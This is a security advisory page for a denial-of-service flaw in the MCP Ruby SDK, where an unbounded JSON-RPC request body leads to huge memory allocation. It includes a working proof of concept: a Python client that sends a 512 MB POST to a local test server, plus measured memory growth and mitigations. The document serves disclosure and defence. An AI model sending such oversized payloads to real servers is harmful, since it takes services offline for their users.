high

CVE-2026-67432

RubyGems · mcp

Summary

MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport

Severity
high
CVSS
7.5
EPSS
0.8% (p56)
CWE
CWE-770
Also known as
GHSA-h669-8m4g-r2hc
Published
2026-07-30
Updated
2026-07-30

Advisory details

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

poc1-1 poc1-2

Impact

Suggested mitigation

  1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
  2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
  3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.